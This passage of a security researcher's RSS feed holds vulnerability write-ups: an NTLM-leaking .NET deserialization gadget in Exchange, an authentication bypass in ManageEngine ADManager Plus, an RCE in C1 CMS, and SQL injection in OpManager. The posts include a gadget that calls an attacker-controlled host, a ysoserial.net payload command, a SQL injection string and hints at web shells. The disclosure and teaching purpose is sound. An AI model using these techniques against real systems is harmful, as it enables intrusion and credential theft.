tweet of mine</a>. Back then, I was looking for a kind of <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java">URLDNS</a> (akin to the Java <a href="https://github.com/frohoff/ysoserial">ysoserial</a>) gadget but for .NET. The gadget I found was not only capable of triggering DNS requests but by nature SMB (or WEBDAV) requests to an attacker controlled share as well. Simply write a line of code like this</p><pre>System.IO.DirectoryInfo gadget = new System.IO.DirectoryInfo(@&quot;\\YOURHOST\~WithATilde&quot;);</pre><p>and serialize the object with a Formatter of your choice, BinaryFormatter in our case.</p><p>Now SMB signing might be disabled, the WebClientService installed or the WEBDAV redirector enabled on the Exchange server (seen all of this in production environments!), then you could capture the Exchange machine account NetNTLM hash and relay it to other hosts in your Active Directory (AD) environment, doing a lot of bad things. <strong>Also remember that it’s sufficient that the target’s system has SMB signing disabled to achieve an authenticated session as the Exchange service account.</strong> I.e. one only has to find a single target system for which this is true. I’ve seen not a single AD environment to this day with <em>all hosts having SMB signing enabled.</em> There is tons of brilliant research and AD-related pentest articles on relaying attacks so I won’t go into details.</p><p>Did this work then? Yes, it did and basically I achieved my goal of showing that deny list approaches should never be used for primary protection. In the case of Exchange, for <strong>83</strong> (remember Serialization.GetStrictModeStatus(DeserializeLocation.*)) potential BinaryFormatter factory calling versions, the deny list would have been <strong>the only protection </strong>(no “defense in depth” here)! And check for yourself that there are several of these calls all over the Exchange codebase.</p><p>By the way, I’m pretty sure that some of you will find better sources then Rpc functions. I already saw similar code paths as exploited in CVE-2021–42321. Go and get your 0day now! :-)</p><p>By the way, <a href="https://gist.github.com/Frycos/a446d86d75c09330d77f37ca28923ddd"><strong>here is a PoC video</strong></a> for you showing the NTLM authentication being triggered and captured on an attacker machine. I searched for a “debug friendly” source to reach any of the deserialization sinks to test some payloads which I found in Microsoft.Exchange.UM.UmCore.dll. Putting a properly formatted text file under C:\Program Files\Microsoft\Exchange Server\V15\UnifiedMessaging\voicemail will trigger the deserialization. The file name has to be in Guid format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*txNHJSKGsn9c7QlDPyCCgQ.jpeg" /></figure><p>Microsoft assigned <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21969">CVE-2022–21969</a> to this issue but without having the fix checked yet, the CVSS values <em>Adjacent</em> and <em>Scope Changed</em> suggest the core issue might not have been fixed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bfa38f63a62d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Another Zoho ManageEngine Story]]></title>
            <link>https://medium.com/@frycos/another-zoho-manageengine-story-7b472f1515f5?source=rss-90c5e63ec10------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b472f1515f5</guid>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[vulnerablity]]></category>
            <category><![CDATA[white-box-testing]]></category>
            <dc:creator><![CDATA[frycos]]></dc:creator>
            <pubDate>Mon, 11 May 2020 18:02:35 GMT</pubDate>
            <atom:updated>2020-05-11T18:02:35.777Z</atom:updated>
            <content:encoded><![CDATA[<p>This is another white-box analysis story about a product from Zoho Corp (see my older blog post on <a href="https://medium.com/@frycos/finding-sql-injections-fast-with-white-box-analysis-a-recent-bug-example-ca449bce6c76">OpManager SQLi</a>). Since several critical findings in ManageEngine products (CVE-2020–10189, CVE-2019–8394) were currently discovered, I thought do give them another chance to practice some code auditing.</p><p>Browsing to <a href="https://www.manageengine.com/">www.manageengine.com</a> a huge list of products is shown, some of them well-known, others not so much. So I tried to concentrate on a product which is widely used as well (<em>not being</em> ServiceDesk Plus or Desktop Central). What I found was <strong>ADManager Plus (being prone to several unauthenticated critical vulnerabilities)</strong>:</p><blockquote><em>An Active Directory (AD) management and reporting solution that allows IT administrators and technicians to manage AD objects easily and generate instant reports at the click of a button!</em></blockquote><p>One can find this solution being deployed in various internal networks at big companies but also publicly exposed (have a look at <a href="https://www.shodan.io/">Shodan</a>).</p><p>So, I downloaded the trial version of ADManager Plus as well as set up a Windows Domain Controller (big thanks to the awesome <a href="https://github.com/clong/DetectionLab">DetectionLab</a> project). As you might have guessed, I’m still primarily interested in critical bugs which could be exploited from an <strong>unauthenticated</strong> perspective.</p><p>Since this is a <strong>Java</strong> web application (served in a Tomcat web container), looking at the <strong>web.xml</strong> file (there are several!) is always a good starter. These files usually contain declarations on Filters, Listeners and of course Java <em>Servlets</em>. To get a first impression of the technology stack, this file was investigated in greater detail. Several things were of interest:</p><ul><li>Several filters had something to do with “Security” as e.g. SecurityFilter</li><li>The SecurityFilter was not applied to all URL patterns</li><li>A lot of URL patterns end in <em>.do</em> (a good indicator for using Struts)</li><li>Several more references to configuration files like <em>struts-config.xml, api-struts-config.xml</em> (Struts it is!)</li></ul><p>Reading the &lt;servlet-mapping/&gt; sections defining the mapping between servlet classes and URL patterns made clear that not all URL patterns had to pass the SecurityFilter mentioned above.</p><p><em>A small side note</em>: Even though, I didn’t talk about the implementation of SecurityFilter in the first place, this article should give you some insight into my methods to analyze code in general. I’m making <em>a lot of assumptions</em> during my code walkthroughs and I’m also totally aware that I (could) miss things this way ¯\_(ツ)_/¯.</p><p>All URLs with the <em>/servlet/ prefix</em> somehow seemed to be less protected than e.g. the RestAPI counterparts. This is why I focused on them in the beginning. Now, step by step I looked into the servlets’ implementation beginning with the first three starting at the top.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*y-V1vNMrubYKGRsbqG50vw.png" /></figure><p>As it turned out, number three already was a <em>jackpot</em>: <strong>com.manageengine.ads.fw.servlet.UpdateProductDetails</strong>.</p><p>Sending a POST request to <em>/servlet/UpdateProductDetails</em> with an empty body at least gave us a 200 response with a simple answer “Failed” (well, at least no 401). So next, I had a look into the code of <em>doPost(…)</em> implementation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L2W6gMEWNRvWE8tb1U6CLA.png" /></figure><p>Following the <em>HttpServletRequest</em> object parameter “request” (under our control!) brought us to a dead end almost immediately…or did it?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*Aj1Qf_UyeBf0usnLJ1IPAg.png" /></figure><p>Let’s have a look at this function <em>isUserAuthenticated(…)</em> more closely. Interestingly, <em>username</em> and <em>password</em> were processed as part of the request object but reaching the code returning <em>Boolean.valueOf(true)</em> was possible <strong>even without</strong> running into the unwanted <em>ADSErrorHandlers</em>. This seemed to be a rewarding example for a <em>logical bug</em>: <strong>not sending a username</strong> parameter at all <strong>bypasses the credential check</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*eKS3nek-PsUEOFAVMuKTwQ.png" /></figure><p>Bypassing the <em>second outer if-statement</em> was straight-forward by setting the parameter <em>UPDATE_HA_VIRTUAL_HOST</em> to “true”. Therefore, we reached the line 194 with <em>“return Boolean.valueOf(true)”</em>.</p><p>Going back to our <em>UpdateProductDetails.class</em> I followed the code and observed various request parameters fed into functions which seemed to operate on <strong>database tables like “ADSProductDetails”</strong>. Checking the schema in the PostgreSQL instance (installed as bundle together with ADManager Plus) revealed interesting columns like <strong>is_remotely_hosted</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*b9qvOx4ahpmPHL1NHcKkFw.png" /></figure><p>Reading a bit of <em>ADManager Plus documentation</em> and playing with the web interface showed me that this table stored references to <strong>other ManageEngine products</strong> used in combination. E.g. <em>ServiceDesk Plus</em> absolutely would make sense to be installed in parallel since Helpdesk staff usually wants to operate on Windows Active Directories as well (Password Resets etc.). Thus, administration of the Active Directory should primarily take place in <em>ADManager Plus</em> but a <em>ServiceDesk</em> instance could be connected to as well. After setting up a ServiceDesk VM and connecting both ManageEngine products with the <em>Integration</em> function, a new row was inserted into the database table <em>ADSProductDetails</em>. Well, you already might have guessed it: with our servlet we were able to insert and/or update these entries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*ESTmLfAS2M5V4jE81JDG6g.png" /></figure><p>The following request made sure that all conditions were met to bypass the authentication check and additionally inserted a row into the table with a <strong>host of my choice</strong>. You could check with a listening <em>netcat</em> of course to ensure your configuration was correct. <em>ADManager Plus</em> will kindly ask if the connection was possible indeed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*ZA1qxK8yKMzGmQ-oZVzpgw.png" /></figure><p>Of course this is <strong>not the only kind of modification</strong> possible with this servlet. The most powerful part was reachable with another request parameter: <strong>EVENTS</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*CO-k1tBH5X-rxEv2WTRyFQ.png" /></figure><p>The inner class <em>EventExecutor extends java.lang.Thread</em> and it’s <em>start()</em> method would trigger the implemented <em>run()</em> accordingly. The static method <em>executeEvents(…)</em> of <em>DBSyncModulesContainer</em> took the original <em>EVENTS</em> parameter (being a JSONArray object) and finally passed it to the method <em>execute(…)</em> of <strong>various Executor</strong> implementations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*__93SocO-3xzmoaFjPENQw.png" /></figure><p>The <em>getExecutor()</em> method would trigger a database read operation and based on the key <em>EXECUTOR_CLASS</em> resolved to the implementing class <strong>ADMPExecutorImpl</strong>. Now, we’ll finish with one example of inserting another critical setting into the database but you’ll get the idea what you’re capable of when looking at the first lines of code of <em>ADMPExecutorImpl.execute()</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*TxWQ1zZw8WeSyZudXvfadw.png" /></figure><p>But even this specific Executor implementation was <strong>only the tip of the iceberg</strong>. At the end of the <em>execute()</em> function, there was another call to <strong>super.execute(jsonRow)</strong>, i.e. calling <em>ExecutorImpl.execute(…)</em> just being another <em>fallback code branch</em>. Want to set/overwrite <strong>Mail Settings, Proxy Settings</strong> or…let’s say <strong>SSOConfig (Single-Sign-On)</strong>?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*yD7BEzxrjSXqEyuVgunVAQ.png" /></figure><p>After trying to understand how the <em>EVENTS</em> parameter had to be hierarchically structured, we got this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*PiB1ip4JjZlvTqatBGvyqg.png" /></figure><p>There are so many additional ways to abuse this servlet that I’ll leave these to an exercise for the reader.</p><p>Enjoy!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b472f1515f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Yet Another .NET deserialization]]></title>
            <link>https://medium.com/@frycos/yet-another-net-deserialization-35f6ce048df7?source=rss-90c5e63ec10------2</link>
            <guid isPermaLink="false">https://medium.com/p/35f6ce048df7</guid>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[insecure-deserialization]]></category>
            <category><![CDATA[dotnet]]></category>
            <category><![CDATA[exploit-development]]></category>
            <dc:creator><![CDATA[frycos]]></dc:creator>
            <pubDate>Sun, 29 Dec 2019 22:10:39 GMT</pubDate>
            <atom:updated>2019-12-29T22:10:39.186Z</atom:updated>
            <content:encoded><![CDATA[<h3>Yet Another .NET deserialization</h3><p>This is my second post on white-box analysis but for another technology stack and vulnerability category: <strong>.NET deserialization leading to Remote Code Execution</strong>. The outcome for this self-paced training was <em>CVE-2019-18211 </em>with an outstanding product vendor (friendly/fast communication and quick bugfixes available since 30th October 2019)<em>.</em></p><p>According to the product authors’ website (<a href="https://c1.orckestra.com/">https://c1.orckestra.com/</a>), <strong>C1 CMS is one of the top rated open source CMS worldwide</strong> built on the Microsoft stack with <strong>more than 85.000 installations</strong> (on-premise and in cloud infrastructures).</p><p>After installation of the latest C1 CMS package (back then v6.6) via Microsoft Webmatrix installer, a running instance was dynamically investigated with live debugging (using: <a href="https://github.com/0xd4d/dnSpy"><em>dnSpy</em></a>). The standard administrator account of C1 CMS was used to add several <em>lower privilege accounts</em> e.g. holding Editor and Developer roles.</p><p>C1 CMS used webservice calls based on SOAP requests a lot. These request structures per service could easily be enumerated via WSDL files (observed via BurpSuite), provided during normal browsing of the web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*awVbUy9gUzMm0gpua75E5A.png" /></figure><p>A bottom-up approach was used to directly search for well-known .NET deserialization issues, namely looking for user-controlled input resulting in insecure deserialization. C1 CMS seemed to <em>prefer JSON objects</em> being sent through SOAP requests. No unsafe deserialization for these kind of objects were found (e.g. TypeNameHandling settings). Technically, deserialization candidates were searched simply by looking for <strong>Deserialize methods</strong> of loaded .NET assemblies. In the following, we focused on the <strong>TreeServiceFacade</strong> and <strong>EntityTokenSerializer </strong>class.</p><p>The TreeServiceFacade provided a method <strong>GetMultipleChildren(…)</strong> which was callable via a SOAP request. This request contained parameters referencing <em>EntityTokens</em> being de/serialized in the backend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*DkxQ59pFufW4twGLiihvtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lisqSbKkNjVokSX-NxfRgQ.png" /></figure><p>Interestingly, a legacy deserialization path was provided if the incoming object is <strong>not based on JSON</strong>. The <strong>serializedEntityToken</strong> parameter in <strong>EntityTokenSerializer</strong> was parsed with respect to a regular expression:</p><p>_keyValuePairRegEx = new Regex(\\s*(?&lt;Key&gt;[^=\\s]*)\\s*=\\s*(?&lt;IsNull&gt;null|(?&lt;Value&gt;[^\\\\\\r\\n]*(\\\\.[^\\\\\\r\\n]*)*))\\s*,*\\s*, RegexOptions.Compiled)</p><p>Starting from this regular expression, valid objects could be built manually. Now, the <strong>concrete vulnerability</strong> happened to be in the non-JSON part of the class <em>EntityTokenSerializer</em>. With the parameter <em>entityTokenType</em> one can <strong>fully control which .NET assembly will be used as a type for deserialization</strong>. Afterwards, the code searched for a <em>Deserialize</em> method for this assembly name and <strong>invoked this method via Reflection</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SXDcPpG4jOTi7fekS2QndA.png" /></figure><p>The only restriction for this was that the serialized object came in as a <strong>String</strong>. Looking for a proper <em>Formatter</em> lead us to the well-known <strong>BinaryFormatter</strong> which was used under the hood from <strong>Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter</strong>. So using the <em>Deserialize</em> function of this assembly allowed a String parameter which was <em>base64 decoded</em> and afterwards fed into the BinaryFormatter deserialization call.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S0LVHgFSxz3hAXOYtoCITw.png" /></figure><p>All what was left was creating a malicious payload with the tool <strong>ysoserial.NET</strong> (<a href="https://github.com/pwntester/ysoserial.net">https://github.com/pwntester/ysoserial.net</a>). As a proof-of-concept the following command was used:</p><p>ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c &quot;cmd.exe /C echo pwned &gt; C:\Users\Public\Downloads\PWNED.txt&quot; -o base64</p><p>Delivering the following request as a user with <em>Editor role</em> (<strong>low privilege user</strong>) containing entityTokenType=&#39;Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter&#39; and entityToken=BINARYFORMATTERPAYLOAD<strong> lead to a Remote Code Execution on server-side</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q__ne3_JkbcSmt7xb1OjgQ.png" /></figure><p>Basically, the role didn’t matter. <strong>Any authenticated user</strong> was able to achieve Remote Code Execution within the CMS console this way.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=35f6ce048df7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding SQL injections fast with white-box analysis — a recent bug example]]></title>
            <link>https://medium.com/@frycos/finding-sql-injections-fast-with-white-box-analysis-a-recent-bug-example-ca449bce6c76?source=rss-90c5e63ec10------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca449bce6c76</guid>
            <category><![CDATA[source-code-analysis]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[white-box-testing]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <dc:creator><![CDATA[frycos]]></dc:creator>
            <pubDate>Sun, 13 Oct 2019 06:50:31 GMT</pubDate>
            <atom:updated>2019-10-19T15:00:23.645Z</atom:updated>
            <content:encoded><![CDATA[<h3>Finding SQL injections fast with white-box analysis — a recent bug example</h3><p>On September 13rd I submitted a bug for <strong>Zoho’s OpManager</strong> product. It was fixed quite fast by the development team and a new version 12.4 (Build no 124089) was released on October 3rd (<strong>CVE-2019–17602</strong>).</p><p>This is a short story how I found this bug from a methodological perspective, especially regarding white-box analysis. In the last months I started to shift my focus from black-box testing to a more white-boxed approach. Reading code not only makes fun but rather gives insight into a more detailed understanding of bugs as well as a chance to find bugs with quite some preconditions.</p><p>Since Java (and other languages of course) “compiles” into byte-code, it can easily be decompiled back into it’s source. So I downloaded (more or less randomly) the latest ManageEngine OpManager from their website and decompiled all JAR files for a deeper white-box analyses.</p><p>So besides decompilation of code, how is a standard Java web application structured? From an attacker’s perspective there is not only code but also configuration files (.xml, .properties, etc.). Especially, for Java web applications several configurations are done within the file <strong>web.xml</strong>. For a deployed web application, it’s usually stored in the protected <em>WEB-INF</em> directory.</p><p>So how could this file help us? E.g. one can read how Java files/classes are used and mapped to URLs. Of special interested to us are so called <strong>Servlets</strong>. These special classes have methods like <em>doGet</em> or <em>doPost</em> which are executed for every request matching their URL mapping pattern defined in <em>web.xml</em>. So the methodology tells us to go through all Servlets, look (at least) at their <strong>do* methods</strong> and find some vulnerabilities from there. This approach is somehow top-down, from user-controlled input to bad things in the backend.</p><p>After digging into some Servlets, I found one called <strong>OPMDeviceDetailsServlet</strong>. The <em>web.xml</em> file told us that it’s URL maps to <strong>/servlet/APMExtAlertsInteg</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*5N78fCY_6SkzJKN3StAocg.png" /></figure><p>And this is were white-box analysis comes into play. We can follow the control flow step-by-step which easily allows us to submit proper parameters per request, fulfilling several conditional branches observable in the source code. Here, we see the Servlet entry point calling the <strong>doPost</strong> methods.</p><p>The Servlet can be called from and <strong>unauthenticated and authenticated</strong> perspective which makes it <strong>more or less critical</strong>. For this article we concentrate on the <em>authenticated</em> part.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6wdsP6SxVYlmIPV96bzIIw.png" /></figure><p>We observe that the <em>allow</em> variable has to be <strong>true</strong> such that with a proper combination of Servlet URL parameters, one could reach the code of the <strong>getXMLFileforAllDevices</strong> method. Namely, the <em>fetchType</em> parameters has to be set to the value <strong>deep</strong>, and <em>userName</em>, <em>password</em> and <em>domainName</em> have to be set accordingly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*xEPkoOj1dEmSp30UCs0ZXg.png" /></figure><p>The <em>timeVal</em> parameters does not have to be set explicitly since if it is <strong>null</strong>, it is set to <strong>All</strong> programmatically. In the end, the <strong>getAllMOs</strong> method will be called.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*XOI0fkN2R3-uy7l7p_2vcg.png" /></figure><p>Now, the <strong>getAllMO</strong> method is used to build and execute an SQL query parameterized with <em>category</em>. Since this SQL query is built dynamically via String concatenation, malicious code could be injected easily.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*2ZsI-65tm6qj41Xhl6KMyQ.png" /></figure><p>The exploitation step is as simple as injecting something like <strong>…&amp;category=nocategory’); [NEW QUERY — </strong>.<br>The screenshots below show a simple example of a <em>pg_sleep(10)</em> selection. Since the bundled database usually is PostgreSQL, <em>stacked queries</em> make injection easy and with e.g. help of <em>COPY TO</em> commands a <strong>web shell</strong> could be written. UDF reverse shells would also be possible, i.e. <em>Remote Code Execution</em> is just a matter of small additional effort and left to the interested reader.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5SgrSUsWPnWn39Cso3k9zA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QiGBPy0Y3sLgvPgUbyk84A.png" /></figure><p>Additionally, the encryption routine for the username and password had to be re-implemented for a proper <strong>decrypt</strong> call at the Servlet’s entry point. Since the key is fixed (not good!), the routine was re-implemented quickly.</p><p>Overall, this short article should make you being interested in a white-box analysis approach if you get a chance to access code. Instead of fuzzing parameters, sometimes a short code analysis can reveal a straight-forward exploitation. From beginning of code reading to a first successful exploitation, it took me approx. an hour (and I’m far from being an expert!).</p><p>I hope you enjoyed this walk-through of this very recent and real-world example how to find a critical bug in well-known product. It’s as easy as that!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca449bce6c76" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>